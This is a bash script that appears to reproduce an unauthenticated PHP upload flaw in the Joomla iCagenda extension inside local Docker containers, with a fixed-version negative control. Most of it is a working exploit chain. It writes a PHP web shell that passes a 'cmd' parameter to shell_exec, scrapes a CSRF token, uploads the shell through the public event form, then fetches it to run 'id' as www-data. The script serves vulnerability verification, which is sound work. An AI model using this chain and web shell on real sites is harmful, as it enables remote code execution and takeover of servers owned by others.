#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

LOGFILE="$LOGS/reproduction_steps.log"
: > "$LOGFILE"
exec > >(tee -a "$LOGFILE")
exec 2>&1

info() { echo "[INFO] $(date -Iseconds) $*"; }
err()  { echo "[ERROR] $(date -Iseconds) $*"; }

ENTRYPOINT_DETAIL="Joomla iCagenda public event submission form endpoint /index.php?option=com_icagenda&task=submit.submit"
RUNTIME_STACK='["mysql:8.0","joomla:6.0-php8.3-apache","icagenda 4.0.7 vulnerable","icagenda 4.0.8 fixed"]'
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
VULN_RCE=false
FIXED_BLOCKED=false
FINAL_NOTES="runtime attempt started"
CURRENT_STACKS=()

write_runtime_manifest() {
  local artifacts_json="$1"
  jq -n \
    --arg entrypoint_kind "endpoint" \
    --arg entrypoint_detail "$ENTRYPOINT_DETAIL" \
    --argjson service_started "$SERVICE_STARTED" \
    --argjson healthcheck_passed "$HEALTHCHECK_PASSED" \
    --argjson target_path_reached "$TARGET_PATH_REACHED" \
    --argjson runtime_stack "$RUNTIME_STACK" \
    --argjson proof_artifacts "$artifacts_json" \
    --arg notes "$FINAL_NOTES" \
    '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,proof_artifacts:$proof_artifacts,notes:$notes}' \
    > "$REPRO_DIR/runtime_manifest.json"
}

copy_proof_carry() {
  # Best-effort warm proof-carry support for future runs. Reference-only cache.
  if [ ! -f "$ROOT/project_cache_context.json" ]; then
    return 0
  fi
  local enabled cache_dir dst
  enabled=$(jq -r '.proof_carry.enabled // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)
  cache_dir=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  if [ "$enabled" != "true" ] || [ -z "$cache_dir" ] || [ ! -d "$cache_dir" ]; then
    return 0
  fi
  dst="$cache_dir/.pruva/proof-carry/latest_attempt"
  mkdir -p "$dst"
  cp -f "$REPRO_DIR/reproduction_steps.sh" "$dst/reproduction_steps.sh" 2>/dev/null || true
  cp -f "$REPRO_DIR/runtime_manifest.json" "$dst/runtime_manifest.json" 2>/dev/null || true
  cp -f "$REPRO_DIR/validation_verdict.json" "$dst/validation_verdict.json" 2>/dev/null || true
  cp -f "$REPRO_DIR/rca_report.md" "$dst/rca_report.md" 2>/dev/null || true
  cp -f "$LOGFILE" "$dst/reproduction_steps.log" 2>/dev/null || true
  if [ "$VULN_RCE" = true ] && [ "$FIXED_BLOCKED" = true ]; then
    local confirmed="$cache_dir/.pruva/proof-carry/latest_confirmed"
    mkdir -p "$confirmed"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$confirmed/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$confirmed/runtime_manifest.json" 2>/dev/null || true
    cp -f "$LOGFILE" "$confirmed/reproduction_steps.log" 2>/dev/null || true
  fi
}

cleanup_stacks() {
  local f
  for f in "${CURRENT_STACKS[@]:-}"; do
    if [ -f "$f" ]; then
      sudo docker-compose -f "$f" down -v --remove-orphans >/dev/null 2>&1 || true
    fi
  done
}

on_exit() {
  local status=$1
  cleanup_stacks
  local artifacts='["logs/reproduction_steps.log"]'
  if [ "$VULN_RCE" = true ] && [ "$FIXED_BLOCKED" = true ]; then
    artifacts='["logs/reproduction_steps.log","logs/vulnerable_source.log","logs/fixed_source.log","logs/vulnerable_container.log","logs/fixed_container.log","repro/form_page_vulnerable.html","repro/form_page_fixed.html","repro/upload_vulnerable.log","repro/fetch_vulnerable_rce.log","repro/upload_fixed.log","repro/fetch_fixed_rce.log"]'
    SERVICE_STARTED=true
    HEALTHCHECK_PASSED=true
    TARGET_PATH_REACHED=true
    FINAL_NOTES="Confirmed production-path RCE: iCagenda 4.0.7 on Joomla 6 accepted an unauthenticated public event form PHP attachment, stored it under /images/icagenda/frontend/attachments/, and an HTTP GET to the uploaded PHP shell executed the attacker-controlled cmd=id as www-data. Fixed iCagenda 4.0.8 blocked the same PHP upload and no shell executed."
  elif [ "$status" -ne 0 ]; then
    FINAL_NOTES="Attempt failed or inconclusive before confirmed vulnerable/fixed divergence. VULN_RCE=$VULN_RCE FIXED_BLOCKED=$FIXED_BLOCKED"
  fi
  write_runtime_manifest "$artifacts" || true
  copy_proof_carry || true
}
trap 'on_exit $?' EXIT

ensure_docker_compose() {
  sudo docker ps >/dev/null 2>&1 || { err "Docker is not reachable via sudo"; exit 1; }
  if command -v docker-compose >/dev/null 2>&1; then
    return 0
  fi
  info "docker-compose not found; installing pinned compose v2.27.0"
  sudo curl -fsSL -o /usr/local/bin/docker-compose "https://github.com/docker/compose/releases/download/v2.27.0/docker-compose-linux-x86_64"
  sudo chmod +x /usr/local/bin/docker-compose
  docker-compose version >/dev/null
}

# Use the prepared project cache at a deterministic repo path when available.
CACHE_ROOT="$ROOT/artifacts/icagenda"
if [ -f "$ROOT/project_cache_context.json" ]; then
  prepared=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)
  cache_dir=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  if [ "$prepared" = "true" ] && [ -n "$cache_dir" ] && [ -d "$cache_dir" ]; then
    CACHE_ROOT="$cache_dir/repo"
  fi
fi
mkdir -p "$CACHE_ROOT" "$ROOT/artifacts/icagenda"

VULN_ZIP="$CACHE_ROOT/icagenda-4-0-7-package.zip"
FIXED_ZIP="$CACHE_ROOT/icagenda-4-0-8-package.zip"
VULN_URL="https://www.joomlic.com/download/icagenda/icagenda-core-4-0-7/package-icagenda-core-4-0-7-zip"
FIXED_URL="https://www.joomlic.com/download/icagenda/icagenda-core-4-0-8/package-icagenda-core-4-0-8-zip"
JOOMLA_IMAGE="joomla:6.0-php8.3-apache"
MYSQL_IMAGE="mysql:8.0"
MYSQL_ROOT_PASSWORD="rootpass"
MYSQL_DATABASE="joomla"
MYSQL_USER="joomla"
MYSQL_PASSWORD="joomlapass"
JOOMLA_PREFIX="jos_"
HOST_IP=$(ip route show default | awk '{print $3; exit}')
VULN_PORT="18139"
FIXED_PORT="18140"

# Payload names are chosen to match iCagenda's slugging (underscores become hyphens).
VULN_PAYLOAD_BASENAME="pruva-rce-vulnerable.php"
FIXED_PAYLOAD_BASENAME="pruva-rce-fixed.php"
VULN_PAYLOAD="$REPRO_DIR/$VULN_PAYLOAD_BASENAME"
FIXED_PAYLOAD="$REPRO_DIR/$FIXED_PAYLOAD_BASENAME"

# Remove prior run proof files so this run cannot pass on stale artifacts.
rm -f "$REPRO_DIR"/form_page_*.html "$REPRO_DIR"/upload_*.log "$REPRO_DIR"/fetch_*_rce.log \
      "$REPRO_DIR"/cookies_*.txt "$REPRO_DIR"/submitted_files_*.txt "$LOGS"/*_source.log "$LOGS"/*_container.log

write_payloads() {
  cat > "$VULN_PAYLOAD" <<'PHP'
<?php
header('Content-Type: text/plain');
echo "PRUVA_PHP_SHELL_ACTIVE_VULNERABLE\n";
if (isset($_GET['cmd'])) {
    echo "PRUVA_ATTACKER_COMMAND_OUTPUT_BEGIN\n";
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    echo "PRUVA_ATTACKER_COMMAND_OUTPUT_END\n";
}
PHP
  cat > "$FIXED_PAYLOAD" <<'PHP'
<?php
header('Content-Type: text/plain');
echo "PRUVA_PHP_SHELL_ACTIVE_FIXED_SHOULD_NOT_EXECUTE\n";
if (isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . ' 2>&1');
}
PHP
  chmod 0644 "$VULN_PAYLOAD" "$FIXED_PAYLOAD"
}

download_zip() {
  local url="$1" dest="$2"
  if [ -s "$dest" ]; then
    info "Reusing cached $(basename "$dest") from $dest"
    return 0
  fi
  info "Downloading $(basename "$dest")"
  curl -fsSL -o "$dest" "$url"
  info "Downloaded $(basename "$dest") ($(stat -c%s "$dest") bytes)"
}

write_compose() {
  local workdir="$1" port="$2" package_zip="$3"
  mkdir -p "$workdir"
  cat > "$workdir/docker-compose.yml" <<EOF
services:
  db:
    image: ${MYSQL_IMAGE}
    environment:
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
      MYSQL_DATABASE: ${MYSQL_DATABASE}
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    command: --default-authentication-plugin=mysql_native_password
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "root", "-p${MYSQL_ROOT_PASSWORD}"]
      interval: 5s
      timeout: 5s
      retries: 20
  joomla:
    image: ${JOOMLA_IMAGE}
    ports:
      - "${port}:80"
    environment:
      JOOMLA_DB_HOST: db
      JOOMLA_DB_NAME: ${MYSQL_DATABASE}
      JOOMLA_DB_USER: ${MYSQL_USER}
      JOOMLA_DB_PASSWORD: ${MYSQL_PASSWORD}
      JOOMLA_DB_PREFIX: ${JOOMLA_PREFIX}
      JOOMLA_SITE_NAME: iCagendaRepro
      JOOMLA_ADMIN_USER: Administrator
      JOOMLA_ADMIN_USERNAME: admin
      JOOMLA_ADMIN_PASSWORD: AdminP@ssw0rd123
      JOOMLA_ADMIN_EMAIL: admin@example.com
    volumes:
      - ${package_zip}:/tmp/icagenda-package.zip:ro
    depends_on:
      db:
        condition: service_healthy
EOF
}

DC() {
  local compose_file="$1"; shift
  sudo docker-compose -f "$compose_file" "$@"
}

wait_for_joomla() {
  local port="$1" role="$2" deadline=$((SECONDS + 240)) code
  info "Waiting for Joomla ${role} on http://${HOST_IP}:${port}/"
  while [ $SECONDS -lt $deadline ]; do
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://${HOST_IP}:${port}/" || true)
    if [ "$code" = "200" ]; then
      info "Joomla ${role} healthcheck passed"
      SERVICE_STARTED=true
      HEALTHCHECK_PASSED=true
      return 0
    fi
    sleep 5
  done
  err "Joomla ${role} did not become healthy; last HTTP code ${code:-none}"
  return 1
}

install_extension() {
  local workdir="$1" role="$2" ext_url="$3" compose="$workdir/docker-compose.yml"
  info "Installing iCagenda package for ${role} from official URL ${ext_url}"
  # Joomla 6 CLI reliably installs this package from URL; --path to a bind-mounted zip can fail
  # before extracting with only a generic error, so the current proof uses the product
  # installer path that matched the live probe and records installer output in the main log.
  DC "$compose" exec -T joomla php /var/www/html/cli/joomla.php extension:install --url="${ext_url}"
  DC "$compose" exec -T joomla sh -lc 'chown -R www-data:www-data /var/www/html/images /var/www/html/components/com_icagenda /var/www/html/administrator/components/com_icagenda /var/www/html/media/com_icagenda 2>/dev/null || true'
  DC "$compose" exec -T joomla sh -lc 'php -v; apache2 -v; grep -n "<version>" /var/www/html/administrator/components/com_icagenda/icagenda.xml || true; grep -nE "MediaHelper|canUpload|function frontendFileUpload|File::upload" /var/www/html/components/com_icagenda/src/Model/SubmitModel.php | head -40' > "$LOGS/${role}_source.log" 2>&1 || true
  info "Source/loader evidence for ${role} saved to logs/${role}_source.log"
}

configure_icagenda() {
  local workdir="$1" role="$2" compose="$workdir/docker-compose.yml" sql="$workdir/configure.sql"
  cat > "$sql" <<EOF
USE ${MYSQL_DATABASE};
INSERT INTO ${JOOMLA_PREFIX}icagenda_category (title, alias, state, color, \`desc\`, \`groups\`, language, params, note)
SELECT 'Public Category', 'public-category', 1, '', '', '', '*', '{}', ''
FROM DUAL
WHERE NOT EXISTS (SELECT 1 FROM ${JOOMLA_PREFIX}icagenda_category WHERE state = 1 LIMIT 1);

UPDATE ${JOOMLA_PREFIX}extensions
SET params = JSON_SET(
  COALESCE(params, '{}'),
  '\$.submitAccess', JSON_ARRAY('1'),
  '\$.submit_fileDisplay', '1'
)
WHERE element = 'com_icagenda' AND type = 'component';

SET @component_id := (SELECT extension_id FROM ${JOOMLA_PREFIX}extensions WHERE element = 'com_icagenda' AND type = 'component' LIMIT 1);
SET @maxrgt := (SELECT COALESCE(MAX(rgt), 100) FROM ${JOOMLA_PREFIX}menu);
INSERT INTO ${JOOMLA_PREFIX}menu
  (menutype, title, alias, note, path, link, type, published, parent_id, level, component_id, browserNav, access, img, template_style_id, params, lft, rgt, home, language, client_id, publish_up, publish_down)
SELECT
  'mainmenu', 'Submit Event', 'submit-event', '', 'submit-event', 'index.php?option=com_icagenda&view=submit', 'component', 1, 1, 1, @component_id, 0, 1, '', 0, '{"menu_show":1,"show_page_heading":"1"}', @maxrgt + 1, @maxrgt + 2, 0, '*', 0, NULL, NULL
WHERE NOT EXISTS (SELECT 1 FROM ${JOOMLA_PREFIX}menu WHERE alias = 'submit-event' AND client_id = 0);
UPDATE ${JOOMLA_PREFIX}menu SET rgt = GREATEST(rgt, @maxrgt + 3) WHERE id = 1;
EOF
  info "Configuring public iCagenda submit menu/form for ${role}"
  DC "$compose" exec -T db mysql -u root -p"${MYSQL_ROOT_PASSWORD}" "${MYSQL_DATABASE}" < "$sql"
  DC "$compose" exec -T joomla php /var/www/html/cli/joomla.php cache:clean >/dev/null 2>&1 || true
}

extract_form_token() {
  local port="$1" role="$2" itemid="$3" cookies="$4" form_out="$REPRO_DIR/form_page_${role}.html"
  curl -s -L -c "$cookies" -b "$cookies" "http://${HOST_IP}:${port}/index.php?option=com_icagenda&view=submit&Itemid=${itemid}" > "$form_out"
  if ! grep -q 'id="icagenda-submit"' "$form_out" || ! grep -q 'name="jform\[file\]"' "$form_out"; then
    err "Public submit form for ${role} did not contain expected iCagenda form/file field; saved ${form_out}"
    return 1
  fi
  CSRF_TOKEN=$(grep -oE 'csrf\.token":"[0-9a-f]{32}"' "$form_out" | head -n1 | sed 's/.*"\([0-9a-f]\{32\}\)".*/\1/')
  if [ -z "${CSRF_TOKEN:-}" ]; then
    CSRF_TOKEN=$(grep -oE '<input[^>]*name="[0-9a-f]{32}"[^>]*value="1"' "$form_out" | head -n1 | grep -oE 'name="[0-9a-f]{32}"' | sed 's/name="//;s/"$//')
  fi
  if [ -z "${CSRF_TOKEN:-}" ]; then
    err "Could not extract CSRF token for ${role}"
    return 1
  fi
  TARGET_PATH_REACHED=true
}

run_exploit() {
  local role="$1" port="$2" workdir="$3" payload="$4" expected_slug="$5"
  local compose="$workdir/docker-compose.yml" cookies="$REPRO_DIR/cookies_${role}.txt"
  local upload_out="$REPRO_DIR/upload_${role}.log" fetch_out="$REPRO_DIR/fetch_${role}_rce.log"
  local itemid catid shell_url fetch_code
  rm -f "$cookies" "$upload_out" "$fetch_out"

  itemid=$(DC "$compose" exec -T db mysql -u root -p"${MYSQL_ROOT_PASSWORD}" -N -B -e "SELECT id FROM ${MYSQL_DATABASE}.${JOOMLA_PREFIX}menu WHERE alias='submit-event' AND client_id=0 LIMIT 1;" 2>/dev/null | tail -n1)
  catid=$(DC "$compose" exec -T db mysql -u root -p"${MYSQL_ROOT_PASSWORD}" -N -B -e "SELECT id FROM ${MYSQL_DATABASE}.${JOOMLA_PREFIX}icagenda_category WHERE state=1 LIMIT 1;" 2>/dev/null | tail -n1)
  if ! [[ "$itemid" =~ ^[0-9]+$ ]] || ! [[ "$catid" =~ ^[0-9]+$ ]]; then
    err "Could not determine itemid/catid for ${role} (itemid=${itemid:-}, catid=${catid:-})"
    return 1
  fi

  extract_form_token "$port" "$role" "$itemid" "$cookies"
  info "${role}: public form reached with Itemid=${itemid}, catid=${catid}, CSRF=${CSRF_TOKEN}"

  info "${role}: submitting unauthenticated event form with PHP attachment $(basename "$payload")"
  curl --max-time 60 -s -L -i -c "$cookies" -b "$cookies" \
    -F "jform[username]=attacker" \
    -F "jform[created_by_email]=attacker@example.com" \
    -F "jform[title]=RCE Test ${role}" \
    -F "jform[catid]=${catid}" \
    -F "jform[startdate]=2026-07-06 00:00:00" \
    -F "jform[enddate]=2026-07-07 00:00:00" \
    -F "jform[itemid]=${itemid}" \
    -F "jform[itemid_title]=Submit Event" \
    -F "jform[consent][consent_tos]=tos" \
    -F "jform[file]=@${payload};type=application/x-php" \
    -F "${CSRF_TOKEN}=1" \
    -F "task=submit.submit" \
    "http://${HOST_IP}:${port}/index.php?option=com_icagenda&task=submit.submit" > "$upload_out" 2>&1 || true

  DC "$compose" exec -T joomla sh -lc 'if [ -d /var/www/html/images/icagenda/frontend/attachments ]; then find /var/www/html/images/icagenda/frontend/attachments -maxdepth 1 -type f -printf "%f %s bytes\n" | sort; else echo "attachments directory absent"; fi' \
    > "$REPRO_DIR/submitted_files_${role}.txt" 2>&1 || true
  cat "$REPRO_DIR/submitted_files_${role}.txt"

  shell_url="http://${HOST_IP}:${port}/images/icagenda/frontend/attachments/${expected_slug}?cmd=id"
  info "${role}: requesting uploaded PHP URL ${shell_url}"
  fetch_code=$(curl --max-time 30 -s -i -o "$fetch_out" -w '%{http_code}' "$shell_url" || true)
  info "${role}: uploaded PHP fetch returned HTTP ${fetch_code}; response saved to ${fetch_out}"
  sed -n '1,40p' "$fetch_out" || true
  echo "$fetch_code" > "$REPRO_DIR/fetch_${role}_status.txt"
}

stack_down() {
  local workdir="$1"
  if [ -f "$workdir/docker-compose.yml" ]; then
    DC "$workdir/docker-compose.yml" down -v --remove-orphans >/dev/null 2>&1 || true
  fi
}

run_attempt() {
  local role="$1" port="$2" zip="$3" ext_url="$4" payload="$5" expected_slug="$6"
  local workdir="$REPRO_DIR/${role}_stack"
  local compose="$workdir/docker-compose.yml"

  info "===== Starting ${role} product stack on port ${port} ====="
  stack_down "$workdir" || true
  rm -rf "$workdir"
  write_compose "$workdir" "$port" "$zip"
  CURRENT_STACKS+=("$compose")
  DC "$compose" up -d
  wait_for_joomla "$port" "$role"
  install_extension "$workdir" "$role" "$ext_url"
  configure_icagenda "$workdir" "$role"
  run_exploit "$role" "$port" "$workdir" "$payload" "$expected_slug"
  DC "$compose" logs --no-color joomla > "$LOGS/${role}_container.log" 2>&1 || true
  stack_down "$workdir"
}

info "CVE-2026-48939 iCagenda PHP upload RCE reproduction starting"
info "Using cache root: ${CACHE_ROOT}"
info "Docker host IP from worker: ${HOST_IP}"
ensure_docker_compose
write_payloads
download_zip "$VULN_URL" "$VULN_ZIP"
download_zip "$FIXED_URL" "$FIXED_ZIP"

run_attempt "vulnerable" "$VULN_PORT" "$VULN_ZIP" "$VULN_URL" "$VULN_PAYLOAD" "$VULN_PAYLOAD_BASENAME"
if grep -q 'PRUVA_PHP_SHELL_ACTIVE_VULNERABLE' "$REPRO_DIR/fetch_vulnerable_rce.log" \
   && grep -q 'PRUVA_ATTACKER_COMMAND_OUTPUT_BEGIN' "$REPRO_DIR/fetch_vulnerable_rce.log" \
   && grep -q 'uid=33(www-data)' "$REPRO_DIR/fetch_vulnerable_rce.log"; then
  VULN_RCE=true
  info "Vulnerable iCagenda 4.0.7 RCE confirmed: uploaded PHP executed attacker-controlled cmd=id as www-data"
else
  err "Vulnerable RCE evidence missing"
  exit 1
fi

run_attempt "fixed" "$FIXED_PORT" "$FIXED_ZIP" "$FIXED_URL" "$FIXED_PAYLOAD" "$FIXED_PAYLOAD_BASENAME"
if grep -q 'PRUVA_PHP_SHELL_ACTIVE_FIXED_SHOULD_NOT_EXECUTE' "$REPRO_DIR/fetch_fixed_rce.log"; then
  err "Fixed iCagenda unexpectedly executed the PHP shell"
  exit 1
fi
if ! grep -q "$FIXED_PAYLOAD_BASENAME" "$REPRO_DIR/submitted_files_fixed.txt"; then
  FIXED_BLOCKED=true
  info "Fixed iCagenda 4.0.8 negative control passed: PHP shell was not stored/executed"
else
  err "Fixed iCagenda stored the PHP payload unexpectedly"
  exit 1
fi

info "CVE-2026-48939 confirmed with code execution and fixed-version negative control"
exit 0
